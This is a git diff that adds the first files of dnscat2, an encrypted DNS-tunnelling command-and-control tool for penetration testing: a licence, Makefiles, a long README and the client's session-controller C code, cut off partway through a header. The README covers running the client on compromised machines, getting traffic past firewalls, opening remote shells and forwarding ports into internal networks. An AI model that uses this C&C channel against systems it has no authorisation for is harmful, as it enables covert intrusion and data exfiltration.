diff --git a/LICENSE.md b/LICENSE.md new file mode 100644 index 0000000..9d6438b --- /dev/null +++ b/LICENSE.md @@ -0,0 +1,10 @@ +Copyright (c) 2013-2015, Ron Bowes +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: + +- Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +- Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +- Neither the name of the organization nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..b0d6043 --- /dev/null +++ b/Makefile @@ -0,0 +1,56 @@ +# Makefile +# By Ron +# +# See LICENSE.md + +# Can't use a '#' in the shell command +VERSION=$(shell egrep '^.define VERSION' client/dnscat.c | head -n1 | cut -d\" -f2) + +OS=$(shell uname -s) +ARCH=$(shell uname -p | sed 's/x86_64/x64/i' | sed 's/i.86/x86/i') + +ifeq ($(OS), Linux) + RELEASE_FILENAME="dnscat2-$(VERSION)-client-$(ARCH)" +else + RELEASE_FILENAME="dnscat2-$(VERSION)-client-$(OS)-$(ARCH)" +endif + +all: + @cd client && make + @echo "Compile complete!" + @echo "* Client: client/dnscat" + @echo "* Server: server/dnscat_*.rb" + +clean: + @cd client && make clean + +debug: + @cd client && make debug + @echo "Debug compile complete!" + +release: + @make clean + -mkdir dist/ + @cd client && make release + @mv client/dnscat . + @strip dnscat + @tar -cvvjf dist/${RELEASE_FILENAME}.tar.bz2 dnscat + @echo "*** Release compiled: `pwd`/${RELEASE_FILENAME}" + @echo "*** By the way, did you update the version number in the server?" + @echo "Release compile complete!" + +source_release: + @make clean + -mkdir dist/ + @cp -r client dnscat2_client + @tar -cvvjf dist/dnscat2-${VERSION}-client-source.tar.bz2 dnscat2_client + @zip -r dist/dnscat2-${VERSION}-client-source.zip dnscat2_client + @rm -rf dnscat2_client + @cp -r server dnscat2_server + @tar -cvvjf dist/dnscat2-${VERSION}-server.tar.bz2 dnscat2_server + @zip -r dist/dnscat2-${VERSION}-server.zip dnscat2_server + @rm -rf dnscat2_server + +dnscat: + @cd client && make dnscat + diff --git a/README.md b/README.md new file mode 100644 index 0000000..7153665 --- /dev/null +++ b/README.md @@ -0,0 +1,680 @@ +# Introduction + +Welcome to dnscat2, a DNS tunnel that WON'T make you sick and kill you! + +This tool is designed to create an encrypted command-and-control (C&C) +channel over the DNS protocol, which is an effective tunnel out of +almost every network. + +This README file should contain everything you need to get up and +running! If you're interested in digging deeper into the protocol, how +the code is structured, future plans, or other esoteric stuff, check +out the doc/ folder. + +# License + +This is released under the BSD license. See [LICENSE.md](LICENSE.md) for +more information. + +# Overview + +dnscat2 comes in two parts: the client and the server. + +The client is designed to be run on a compromised machine. It's written +in C and has the minimum possible dependencies. It should run just about +anywhere (if you find a system where it doesn't compile or run, please +file a ticket, particularly if you can help me get access to said +system). + +When you run the client, you typically specify a domain name. All +requests will be sent to the local DNS server, which are then redirected +to the authoritative DNS server for that domain (which you, presumably, +have control of). + +If you don't have an authoritative DNS server, you can also use direct +connections on UDP/53 (or whatever you choose). They'll be faster, and +still look like DNS traffic to the casual viewer, but it's much more +obvious in a packet log (all domains are prefixed with "dnscat.", unless +you hack the source). This mode will frequently be blocked by firewalls. + +The server is designed to be run on an [authoritative DNS +server](doc/authoritative_dns_setup.md). It's in ruby, and depends on +several different gems. When you run it, much like the client, you +specify which domain(s) it should listen for in addition to listening +for messages sent directly to it on UDP/53. When it receives traffic for +one of those domains, it attempts to establish a logical connection. If +it receives other traffic, it ignores it by default, but can also +forward it upstream. + +Detailed instructions for both parts are below. + +# How is this different from ..... + +dnscat2 strives to be different from other DNS tunneling protocols by +being designed for a special purpose: command and control. + +This isn't designed to get you off a hotel network, or to get free +Internet on a plane. And it doesn't just tunnel TCP. + +It can tunnel any data, with no protocol attached. Which means it can +upload and download files, it can run a shell, and it can do those +things well. It can also potentially tunnel TCP, but that's only going +to be added in the context of a pen-testing tool (that is, tunneling TCP +into a network), not as a general purpose tunneling tool. That's been +done, it's not interesting (to me). + +It's also encrypted by default. I don't believe any other public DNS +tunnel encrypts all traffic! + +# Where to get it + +Here are some important links: + +* [Sourcecode on Github](https://github.com/iagox86/dnscat2) +* [Downloads](https://downloads.skullsecurity.org/dnscat2/) (you'll find [signed](https://downloads.skullsecurity.org/ron.pgp) Linux 32-bit, Linux 64-bit, Win32, and source code versions of the client, plus an archive of the server - keep in mind that that signature file is hosted on the same server as the files, so if you're worried, please verify my PGP key :) ) +* [User documentation](/doc/README.md) A collection of files, both for end-users (like the [Changelog](doc/changelog.md)) and for developers (like the [Contributing](/doc/contributing.md) doc) +* [Issue tracker](https://github.com/iagox86/dnscat2/issues) (you can also email me issues, just put my first name (ron) in front of my domain name (skullsecurity.net)) + +# How to play + +The theory behind dnscat2 is simple: it creates a tunnel over the DNS +protocol. + +Why? Because DNS has an amazing property: it'll make its way from server +to server until it figures out where it's supposed to go. + +That means that for dnscat to get traffic off a secure network, it +simply has to send messages to *a* DNS server, which will happily +forward things through the DNS network until it gets to *your* DNS +server. + +That, of course, assumes you have access to an authoritative DNS server. +dnscat2 also supports "direct" connections - that is, running a dnscat +client that directly connects to your dnscat on your ip address and UDP +port 53 (by default). The traffic still looks like DNS traffic, and +might get past dumber IDS/IPS systems, but is still likely to be stopped +by firewalls. + +If you aren't clear on how to set up an authoritative DNS server, it's +something you have to set up with a domain provider. +[izhan](https://github.com/izhan) helpfully [wrote +one](https://github.com/iagox86/dnscat2/blob/master/doc/authoritative_dns_setup.md) +for you! + +## Compiling + +### Client + +Compiling the client should be pretty straight forward - all you should +need to compile is make/gcc (for Linux) or either Cygwin or Microsoft +Visual Studio (for Windows). Here are the commands on Linux: + + $ git clone https://github.com/iagox86/dnscat2.git + $ cd dnscat2/client/ + $ make + +On Windows, load client/win32/dnscat2.vcproj into Visual Studio and hit +"build". I created and test it on Visual Studio 2008 - until I get a +free legit copy of a newer version, I'll likely be sticking with that +one. :) + +If compilation fails, please file a bug on my [github +page](https://github.com/iagox86/dnscat2/issues)! Please send details +about your system. + +You can verify dnscat2 is successfully compiled by running it with no +flags; you'll see it attempting to start a DNS tunnel with whatever your +configured DNS server is (which will fail): + + $ ./dnscat + Starting DNS driver without a domain! This will only work if you + are directly connecting to the dnscat2 server. + + You'll need to use --dns server= if you aren't. + + ** WARNING! + * + * It looks like you're running dnscat2 with the system DNS server, + * and no domain name!* + * That's cool, I'm not going to stop you, but the odds are really, + * really high that this won't work. You either need to provide a + * domain to use DNS resolution (requires an authoritative server): + * + * dnscat mydomain.com + * + * Or you have to provide a server to connect directly to: + * + * dnscat --dns=server=1.2.3.4,port=53 + * + * I'm going to let this keep running, but once again, this likely + * isn't what you want! + * + ** WARNING! + + Creating DNS driver: + domain = (null) + host = 0.0.0.0 + port = 53 + type = TXT,CNAME,MX + server = 4.2.2.1 + [[ ERROR ]] :: DNS: RCODE_NAME_ERROR + [[ ERROR ]] :: DNS: RCODE_NAME_ERROR + [[ ERROR ]] :: DNS: RCODE_NAME_ERROR + [[ ERROR ]] :: DNS: RCODE_NAME_ERROR + [[ ERROR ]] :: DNS: RCODE_NAME_ERROR + [[ ERROR ]] :: DNS: RCODE_NAME_ERROR + [[ ERROR ]] :: DNS: RCODE_NAME_ERROR + [[ ERROR ]] :: DNS: RCODE_NAME_ERROR + [[ ERROR ]] :: DNS: RCODE_NAME_ERROR + [[ ERROR ]] :: DNS: RCODE_NAME_ERROR + [[ ERROR ]] :: The server hasn't returned a valid response in the last 10 attempts.. closing session. + [[ FATAL ]] :: There are no active sessions left! Goodbye! + [[ WARNING ]] :: Terminating + +### Server + +The server isn't "compiled", as such, but it does require some Ruby +dependencies. Unfortunately, Ruby dependencies can be annoying to get +working, so good luck! If any Ruby experts out there want to help make +this section better, I'd be grateful! + +I'm assuming you have Ruby and Gem installed and in working order. If +they aren't, install them with either `apt-get`, `emerge`, `rvm`, or +however is normal on your operating system. + +Once Ruby/Gem are sorted out, run these commands (note: you can +obviously skip the `git clone` command if you already installed the +client and skip `gem install bundler` if you've already installed +bundler): + + $ git clone https://github.com/iagox86/dnscat2.git + $ cd dnscat2/server/ + $ gem install bundler + $ bundle install + +If you get a permissions error with `gem install bundler` or `bundler +install`, you may need to run them as root. If you have a lot of +problems, uninstall Ruby/Gem and install everything using `rvm` and +without root. + +If you get an error that looks like this: + + /usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require': cannot load such file -- mkmf (LoadError) + +It means you need to install the -dev version of Ruby: + + $ sudo apt-get install ruby-dev + +I find that `sudo` isn't always enough to get everything working right, +I sometimes have to switch to root and work directly as that account. +`rvmsudo` doesn't help, because it breaks ctrl-z. + +You can verify the server is working by running it with no flags and +seeing if you get a dnscat2> prompt: + + # ruby ./dnscat2.rb + + New window created: 0 + Welcome to dnscat2! Some documentation may be out of date. + + passthrough => disabled + auto_attach => false + auto_command => + process => + history_size (for new windows) => 1000 + New window created: dns1 + Starting Dnscat2 DNS server on 0.0.0.0:53 + [domains = n/a]... + + It looks like you didn't give me any domains to recognize! + That's cool, though, you can still use direct queries, + although those are less stealthy. + + To talk directly to the server without a domain name, run: + ./dnscat2 --dns server=x.x.x.x,port=53 + + Of course, you have to figure out yourself! Clients + will connect directly on UDP port 53. + + dnscat2> + +If you don't run it as root, you might have trouble listening on UDP/53 +(you can use --dnsport to change it). You'll see an error message if +that's the case. + +#### Ruby as root + +If you're having trouble running Ruby as root, this is what I do to run +it the first time: + + $ cd dnscat2/server + $ su + # gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 + # \curl -sSL https://get.rvm.io | bash + # source /etc/profile.d/rvm.sh + # rvm install 1.9 + # rvm use 1.9 + # bundle install + # ruby ./dnscat2.rb + +And subsequent times: + + $ cd dnscat2/server + $ su + # source /etc/profile.d/rvm.sh + # ruby ./dnscat2.rb + +`rvmsudo` should make it easier, but dnscat2 doesn't play well with +`rvmsudo` unfortunately. + + +## Usage + +### Client + server + +Before we talk about how to specifically use the tools, let's talk about +how dnscat is structured. The dnscat tool is divided into two pieces: a +client and a server. As you noticed if you went through the compilation, +the client is written in C and the server is in Ruby. + +Generally, the server is run first. It can be long lived, and handle as +many clients as you'd like. As I said before, it's basically a C&C +service. + +Later, a client is run, which opens a session with the server (more on +sessions below). The session can either traverse the DNS hierarchy +(recommended, but more complex) or connect directly to the server. +Traversing the DNS hierarchy requires an authoritative domain, but will +bypass most firewalls. Connecting directly to the server is more +obvious for several reasons. + +By default, connections are automatically encrypted (turn it off on the +client with `--no-encryption` and on the server with `--security=open`). +When establishing a new connection, if you're paranoid about +man-in-the-middle attacks, you have two options for verifying the peer: + +* Pass a pre-shared secret using the `--secret` argument on both sides + to validate the connection +* Manually verify the "short authentication string" - a series of words + that are printed on both the client and server after encryption is + negotiated + +### Running a server + +The server - which is typically run on the authoritative DNS server for +a particular domain - is designed to be feature-ful, interactive, and +user friendly. It's written in Ruby, and much of its design is inspired +by Metasploit and Meterpreter. + +If you followed the compilation instructions above, you should be able +to just run the server: + + $ ruby ./dnscat2.rb skullseclabs.org + +Where "skullseclabs.org" is your own domain. If you don't have an +authoritative DNS server, it isn't mandatory; but this tool works way, +way better with an authoritative server. + +That should actually be all you need! Other than that, you can test it +using the client's --ping command on any other system, which should be +available if you've compiled it: + + $ ./dnscat --ping skullseclabs.org + +If the ping succeeds, your C&C server is probably good! If you ran the +DNS server on a different port, or if you need to use a custom DNS +resolver, you can use the --dns flag in addition to --ping: + + $ ./dnscat --dns server=8.8.8.8,domain=skullseclabs.org --ping + + $ ./dnscat --dns port=53531,server=localhost,domain=skullseclabs.org --ping + +Note that when you specify a --dns argument, the domain has to be part +of that argument (as domain=xxx). You can't just pass it on the +commandline (due to a limitation of my command parsing; I'll likely +improve that in a future release). + +When the process is running, you can start a new server using basically +the exact same syntax: + + dnscat2> start --dns=port=53532,domain=skullseclabs.org,domain=test.com + New window created: dns2 + Starting Dnscat2 DNS server on 0.0.0.0:53532 + [domains = skullseclabs.org, test.com]... + + Assuming you have an authoritative DNS server, you can run + the client anywhere with the following: + ./dnscat2 skullseclabs.org + ./dnscat2 test.com + + To talk directly to the server without a domain name, run: + ./dnscat2 --dns server=x.x.x.x,port=53532 + + Of course, you have to figure out yourself! Clients + will connect directly on UDP port 53532. + +You can run as many DNS listeners as you want, as long as they're on +different hosts/ports. Once the data comes in, the rest of the process +doesn't even know which listener data came from; in fact, a client can +send different packets to different ports, and the session will continue +as expected. + +### Running a client + +The client - which is typically run on a system after compromising it - +is designed to be simple, stable, and portable. It's written in C and +has as few library dependencies as possible, and compiles/runs natively +on Linux, Windows, Cygwin, FreeBSD, and Mac OS X. + +The client is given the domain name on the commandline, for example: + + ./dnscat2 skullseclabs.org + +In that example, it will create a C&C session with the dnscat2 server +running on skullseclabs.org. If an authoritative domain isn't an option, +it can be given a specific ip address to connect to instead: + + ./dnscat2 --dns host=206.220.196.59,port=5353 + +Assuming there's a dnscat2 server running on that host/port, it'll +create a session there. + +### Tunnels + +Yo dawg; I hear you like tunnels, so now you can tunnel a tunnel through +your tunnel! + +It is currently possible to tunnel a connection through dnscat2, similar +to "ssh -L"! Other modes ("ssh -D" and "ssh -R") are coming soon as +well! + +After a session has started (a command session), the command "listen" is +used to open a new tunnelled port. The syntax is roughly the same as ssh +-L: + + listen [lhost:]lport rhost:rport + +The local host is option, and will default to all interfaces (0.0.0.0). +The local port and remote host/port are mandatory. + +The dnscat2 server will listen on lport. All connections received to +that port are forwarded, via the dnscat2 client, to the remote host/port +chosen. + +For example, this will listen on port 4444 (on the *server*) and forward +traffic to google: + + listen 4444 www.google.com:80 + +Then, if you connect to http://localhost:4444, it'll come out the +dnscat2 client and connect to google.com. + +Let's say you're using this on a pentest and you want to forward ssh +connections through the dnscat2 client (running on somebody's corp +network) to an internal device. You can! + + listen 127.0.0.1:2222 10.10.10.10:22 + +That'll only listen on the localhost interface on the dnscat2 server, +and will forward connections via the tunnel to port 22 of 10.10.10.10. + +### Encryption + +dnscat2 is encrypted by default. + +I'm not a cryptographer, and by necessity I came up with the encryption +scheme myself. As a result, I wouldn't trust this 100%. I think I did a +*pretty* good job preventing attacks, but this hasn't been +professionally audited. Use with caution. + +There is a ton of technical information about the encryption in the +[protocol doc](/doc/protocol.md). But here are the basics. + +By default, both the client and the server support and will attempt +encryption. Each connection uses a new keypair, negotiated by ECDH. All +encryption is done by salsa20, and signatures use sha3. + +Encryption can be disabled on the client by passing `--no-encryption` on +the commandline, or by compiling it using `make nocrypto`. + +The server will reject unencrypted connections by default. To allow +unencrypted connections, pass `--security=open` to the server, or run +`set security=open` on the console. + +By default, there's no protection against man-in-the-middle attacks. As +mentioned before, there are two different ways to gain MitM protection: +a pre-shared secret or a "short authentication string". + +A pre-shared secret is passed on the commandline to both the client and +the server, and is used to authenticate both the client to the server +and the server to the client. It should be a somewhat strong value - +something that can't be quickly guessed by an attacker (there's only a +short window for the attacker to guess it, so it only has to hold up for +a few seconds). + +The pre-shared secret is passed in via the `--secret` parameter on both +the client and the server. The server can change it at runtime using +`set secret=`, but that can have unexpected results if active +clients are connected. + +Furthermore, the server can enforce *only* authenticated connections are +allowed by using `--security=authenticated` or `set +security=authenticated`. That's enabled by default if you pass the +`--secret` parameter. + +If you don't require the extra effort of authenticating connections, +then a "short authentication string" is displayed by both the client and +the server. The short authentication string is a series of English words +that are derived based on the secret values that both sides share. + +If the same set of English words are printed on both the client and the server, +the connection can be reasonably considered to be secure. + +That's about all you need to know about the encryption! See the protocol +doc for details! I'd love to hear any feedback on the crypto, as well. +:) + +And finally, if you have any problems with the crypto, please let me +know! By default a window called "crypto-debug" will be created at the +start. If you have encryption problems, please send me that log! Or, +better yet, run dnscat2 with the `--firehose` and `--packet-trace` +arguments, and send me *EVERYTHING*! Don't worry about revealing private +keys; they're only used for that one session. + +### dnscat2's Windows + +The dnscat2 UI is made up of a bunch of windows. The default window is +called the 'main' window. You can get a list of windows by typing +`windows` (or `sessions`) into any command prompt: + + dnscat2> windows + 0 :: main [active] + dns1 :: DNS Driver running on 0.0.0.0:53 domains = skullseclabs.org [*] + +You'll note that there are two windows - window `0` is the main window, +and window `dns1` is the listener (technically referred to as the +'tunnel driver'). + +From any window that accepts commands (`main` and command sessions), you +can type `help` to get a list of commands: + + dnscat2> help + + Here is a list of commands (use -h on any of them for additional help): + * echo + * help + * kill + * quit + * set + * start + * stop + * tunnels + * unset + * window + * windows + +For any of those commands, you can use -h or --help to get details: + + dnscat2> window --help + Error: The user requested help + + Interact with a window + -i, --i= Interact with the chosen window + -h, --help Show this message + +We'll use the `window` command to interact with `dns1`, which is a +status window: + + dnscat2> window -i dns1 + New window created: dns1 + Starting Dnscat2 DNS server on 0.0.0.0:53531 + [domains = skullseclabs.org]... + + Assuming you have an authoritative DNS server, you can run + the client anywhere with the following: + ./dnscat2 skullseclabs.org + + To talk directly to the server without a domain name, run: + ./dnscat2 --dns server=x.x.x.x,port=53531 + + Of course, you have to figure out yourself! Clients + will connect directly on UDP port 53531. + + Received: dnscat.9fa0ff178f72686d6c716c6376697968657a6d716800 (TXT) + Sending: 9fa0ff178f72686d6c716c6376697968657a6d716800 + Received: d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org (MX) + Sending: d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org + +The received and sent strings there are, if you decode them, pings. + +You can switch to the 'parent' window (in this case, `main`) by pressing +ctrl-z. If ctrl-z kills the process, then you probably have to find a +better way to run it (`rvmsudo` doesn't work, see above). + +When a new client connects and creates a session, you'll be notified in +`main` (and certain other windows): + + New window created: 1 + dnscat2> + +(Note that you have to press enter to get the prompt back) + +You can switch to the new window the same way we switched to the `dns1` +status window: + + dnscat2> window -i 1 + New window created: 1 + history_size (session) => 1000 + This is a command session! + + That means you can enter a dnscat2 command such as + 'ping'! For a full list of clients, try 'help'. + + command session (ubuntu-64) 1> + +Command sessions can spawn additional sessions; for example, the `shell` +command: + + command session (ubuntu-64) 1> shell + Sent request to execute a shell + New window created: 2 + Shell session created! + + command session (ubuntu-64) 1> + +(Note that throughout this document I'm cleaning up the output; usually +you have to press enter to get the prompt back) + +Then, if you return to the main session (ctrl-z or `suspend`, you'll see +it in the list of windows: + + dnscat2> windows + 0 :: main [active] + dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*] + 1 :: command session (ubuntu-64) + 2 :: sh (ubuntu-64) [*] + +Unfortunately, the 'windows' command in a specific command session only +shows child windows from that session, and right now new sessions aren't +spawned as children. + +Note that some sessions have `[*]` - that means that there's been +activity since the last time we looked at them. + +When you interact with a session, the interface will look different +depending on the session type. As you saw with the default session type +(command sessions) you get a UI just like the top-level session (you can +type 'help' or run commands or whatever). However, if you interact with +a 'shell' session, you won't see much immediately, until you type a +command: + + dnscat2> windows + 0 :: main [active] + dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*] + 1 :: command session (ubuntu-64) + 2 :: sh (ubuntu-64) [*] + + dnscat2> session -i 2 + New window created: 2 + history_size (session) => 1000 + This is a console session! + + That means that anything you type will be sent as-is to the + client, and anything they type will be displayed as-is on the + screen! If the client is executing a command and you don't + see a prompt, try typing 'pwd' or something! + + To go back, type ctrl-z. + + sh (ubuntu-64) 2> pwd + /home/ron/tools/dnscat2/client + +To escape this, you can use ctrl-z or type "exit" (which will kill the +session). + +Lastly, to kill a session, the `kill` command can be used: + + dnscat2> windows + 0 :: main [active] + dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*] + 1 :: command session (ubuntu-64) + 2 :: sh (ubuntu-64) [*] + dnscat2> kill 2 + Session 2 has been sent the kill signal! + Session 2 has been killed + dnscat2> windows + 0 :: main [active] + dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*] + 1 :: command session (ubuntu-64) + +# History + +In the past, there were several DNS tunneling tools. One was called +[dnscat](http://tadek.pietraszek.org/projects/DNScat/index.html), written by Tadek Pietraszek. The problem is, it's written in Java, and I really wanted something that could run basically everywhere. + +That version of dnscat was based on a tool called NSTX, whose page [no +longer exists](http://freecode.com/projects/nstx/) and isn't even in the +Wayback Machine, so I know nothing about it. + +Later, I wrote a C implementation and called it dnscat (without +permission), since the previous Java version was unmaintained and I +really liked the name (I toyed with calling it dnscat-ng, but -ng is a +bit wordy for my taste). It worked, but there were a lot of problems. +The client and server were the same tool, like netcat, which, because +DNS is such a client/server model, didn't work out that well. The other +problem was that I had linked it too much to the DNS protocol, so it +could only run over DNS. + +dnscat2 - the successor to dnscat - is an attempt to right some of the +wrongs that I had committed. dnscat2 has a separate server (Ruby) and +client (C) and treats everything as a stream of bytes, and uses a +driver, of sorts, to convert that stream of bytes into dns requests and +back. Thus, it's a layered protocol, with DNS being a lower layer. + +As a result, I invented a protocol that I'm calling the dnscat protocol. +You can find documentation about it in docs/protocol.md. It's a simple +polling network protocol, where the client occasionally polls the +server, and the server responds with a message (or an error code). The +protocol is designed to be resilient to the various issues I had with +dnscat1 - that is, it can handle out-of-order packets, dropped packets, +and duplicated packets equally well. diff --git a/client/.gitignore b/client/.gitignore new file mode 100644 index 0000000..f4ab60f --- /dev/null +++ b/client/.gitignore @@ -0,0 +1,28 @@ +# Object files +*.o + +# Libraries +*.lib +*.a + +# Shared objects (inc. Windows DLLs) +*.dll +*.so +*.so.* +*.dylib + +# Executables +*.exe +*.out +*.app + +# Named executables +dnscat +tcpcat +test + +# Crash dumps +core +core.* +*.stackdump + diff --git a/client/Makefile b/client/Makefile new file mode 100644 index 0000000..297bc92 --- /dev/null +++ b/client/Makefile @@ -0,0 +1,76 @@ +# Makefile +# By Ron Bowes +# Created January, 2013 +# +# (See LICENSE.md) +# +# Should work for Linux and BSD make. + +CC?=gcc +DEBUG_CFLAGS?=-DTESTMEMORY -Werror -O0 +RELEASE_CFLAGS?=-Os +CFLAGS?=--std=c89 -I. -Wall -D_DEFAULT_SOURCE -fstack-protector-all -Wformat -Wformat-security -g +LIBS=-pie -Wl,-z,relro,-z,now + +OBJS=controller/packet.o \ + controller/session.o \ + controller/controller.o \ + drivers/driver.o \ + drivers/command/driver_command.o \ + drivers/command/command_packet.o \ + drivers/driver_console.o \ + drivers/driver_exec.o \ + drivers/driver_ping.o \ + libs/buffer.o \ + libs/crypto/encryptor.o \ + libs/crypto/micro-ecc/uECC.o \ + libs/crypto/salsa20.o \ + libs/crypto/sha3.o \ + libs/dns.o \ + libs/ll.o \ + libs/log.o \ + libs/memory.o \ + libs/select_group.o \ + libs/tcp.o \ + libs/types.o \ + libs/udp.o \ + tunnel_drivers/driver_dns.o \ + +DNSCAT_DNS_OBJS=${OBJS} dnscat.o + +all: dnscat + @echo "*** Build complete! Run 'make debug' to build a debug version!" + +debug: CFLAGS += $(DEBUG_CFLAGS) +debug: dnscat + @echo "*** Debug build complete" + +release: CFLAGS += ${RELEASE_CFLAGS} +release: dnscat + +nocrypto: CFLAGS += -DNO_ENCRYPTION +nocrypto: all + +remove: + rm -f /usr/local/bin/dnscat + +uninstall: remove + +clean: + -rm -f *.o */*.o */*/*.o */*/*/*.o *.exe *.stackdump dnscat tcpcat test driver_tcp driver_dns + -rm -rf win32/Debug/ + -rm -rf win32/Release/ + -rm -rf win32/*.ncb + -rm -rf win32/*.sln + -rm -rf win32/*.suo + -rm -rf win32/*.vcproj.* + +dnscat: ${DNSCAT_DNS_OBJS} + ${CC} ${CFLAGS} -o dnscat ${DNSCAT_DNS_OBJS} + @echo "*** dnscat successfully compiled" + +COMMANDS=drivers/command/commands_standard.h \ + drivers/command/commands_tunnel.h + +drivers/command/driver_command.o: drivers/command/driver_command.c ${COMMANDS} + ${CC} -c ${CFLAGS} -o drivers/command/driver_command.o drivers/command/driver_command.c diff --git a/client/controller/controller.c b/client/controller/controller.c new file mode 100644 index 0000000..f15cb4a --- /dev/null +++ b/client/controller/controller.c @@ -0,0 +1,239 @@ +/** + * controller.c + * Created by Ron Bowes + * On April, 2015 + * + * See LICENSE.md + */ + +#include +#include +#include + +#ifdef WIN32 +#include "libs/pstdint.h" +#else +#include +#endif + +#include "libs/dns.h" +#include "libs/log.h" +#include "tunnel_drivers/driver_dns.h" +#include "packet.h" +#include "session.h" + +#include "controller.h" + +static int max_retransmits = 20; + +typedef struct _session_entry_t +{ + session_t *session; + struct _session_entry_t *next; +} session_entry_t; +static session_entry_t *first_session; + +void controller_add_session(session_t *session) +{ + session_entry_t *entry = NULL; + + /* Add it to the linked list. */ + entry = safe_malloc(sizeof(session_entry_t)); + entry->session = session; + entry->next = first_session; + first_session = entry; +} + +size_t controller_open_session_count() +{ + size_t count = 0; + + session_entry_t *entry = first_session; + + while(entry) + { + if(!session_is_shutdown(entry->session)) + count++; + + entry = entry->next; + } + + return count; +} + +static session_t *sessions_get_by_id(uint16_t session_id) +{ + session_entry_t *entry; + + for(entry = first_session; entry; entry = entry->next) + if(entry->session->id == session_id) + return entry->session; + + return NULL; +} + +/* Version beta 0.01 suffered from a bug that I didn't understand: if one + * session had a ton of data to send, all the other sessions were ignored till + * it was done (if it was a new session). This function will get the "next" + * session using a global variable. + */ +static session_entry_t *current_session = NULL; + +#if 0 +static session_t *sessions_get_next() +{ + /* If there's no session, use the first one. */ + if(!current_session) + current_session = first_session; + + /* If there's still no session, give up. */ + if(!current_session) + return NULL; + + /* Get the next session. */ + current_session = current_session->next; + + /* If we're at the end, go to the beginning. Also attempting a record for the + * number of NULL checks one a single pointer. */ + if(!current_session) + current_session = first_session; + + /* If this is NULL, something crazy is happening (we already had a + * first_session at some point in the past, so it means the linked list has + * had a member removed, which we can't currently do. */ + assert(current_session); + + /* All done! */ + return current_session->session; +} +#endif + +/* Get the next session in line that isn't shutdown. + * TODO: can/should we give higher priority to sessions that have data + * waiting? + */ +static session_t *sessions_get_next_active() +{ + /* Keep track of where we start. */ + session_entry_t *start = NULL; + + /* If there's no session, use the first one. */ + if(!current_session) + current_session = first_session; + + /* If there's still no session, give up. */ + if(!current_session) + return NULL; + + /* Record our starting point. */ + start = current_session; + + /* Get the next session. */ + do + { + current_session = current_session->next; + + /* If we're at the end, go to the beginning. Also attempting a record for the + * number of NULL checks one a single pointer. */ + if(!current_session) + current_session = first_session; + + if(!session_is_shutdown(current_session->session)) + return current_session->session; + } + while(current_session != start); + + /* If we reached the starting point, there are no active sessions. */ + return NULL; +} + +NBBOOL controller_data_incoming(uint8_t *data, size_t length) +{ + uint16_t session_id = packet_peek_session_id(data, length); + session_t *session = sessions_get_by_id(session_id); + + /* If we weren't able to find a session, print an error and return. */ + if(!session) + { + LOG_ERROR("Tried to access a non-existent session (%s): %d", __FUNCTION__, session_id); + return FALSE; + } + + /* Pass the data onto the session. */ + return session_data_incoming(session, data, length); +} + +uint8_t *controller_get_outgoing(size_t *length, size_t max_length) +{ + /* This needs to somehow be balanced. */ + session_t *session = sessions_get_next_active(); + + if(!session) + { + /* TODO: Drop to a "probe for sessions" mode instead. */ + LOG_FATAL("There are no active sessions left! Goodbye!"); + exit(0); + return NULL; + } + + return session_get_outgoing(session, length, max_length); +} + +static void kill_ignored_sessions() +{ + session_entry_t *entry = first_session; + + if(max_retransmits < 0) + return; + + while(entry) + { + if(!entry->session->is_shutdown && entry->session->missed_transmissions > max_retransmits) + { + LOG_ERROR("The server hasn't returned a valid response in the last %d attempts.. closing session.", entry->session->missed_transmissions - 1); + session_kill(entry->session); + } + + entry = entry->next; + } +} + +void controller_kill_all_sessions() +{ + session_entry_t *entry = first_session; + + while(entry) + { + if(!entry->session->is_shutdown) + session_kill(entry->session); + entry = entry->next; + } +} + +/* This will be called something like every 50ms. */ +void controller_heartbeat() +{ + kill_ignored_sessions(); +} + +void controller_set_max_retransmits(int retransmits) +{ + max_retransmits = retransmits; +} + +void controller_destroy() +{ + session_entry_t *prev_session = NULL; + session_entry_t *entry = first_session; + + while(entry) + { + if(!entry->session->is_shutdown) + session_kill(entry->session); + session_destroy(entry->session); + + prev_session = entry; + entry = entry->next; + safe_free(prev_session); + } +} diff --git a/client/controller/controller.h b/client/controller/controller.h new file mode 100644 index 0000000..1fffafe --- /dev/null +++ b/client/controller/controller.h @@ -0,0 +1,28 @@ +/** + * controller.h + * Created by Ron Bowes + * On April, 2015 + * + * See LICENSE.md + * + * The controller basically keeps track of active sessions and passes data + * back and forth between the tunnel driver and the session. There is only + * ever a single instance of this. + */ + +#ifndef __CONTROLLER_H__ +#define __CONTROLLER_H__ + +#include "libs/types.h" +#include "session.h" + +size_t controller_open_session_count(); +void controller_add_session(session_t *session); +NBBOOL controller_data_incoming(uint8_t *data, size_t 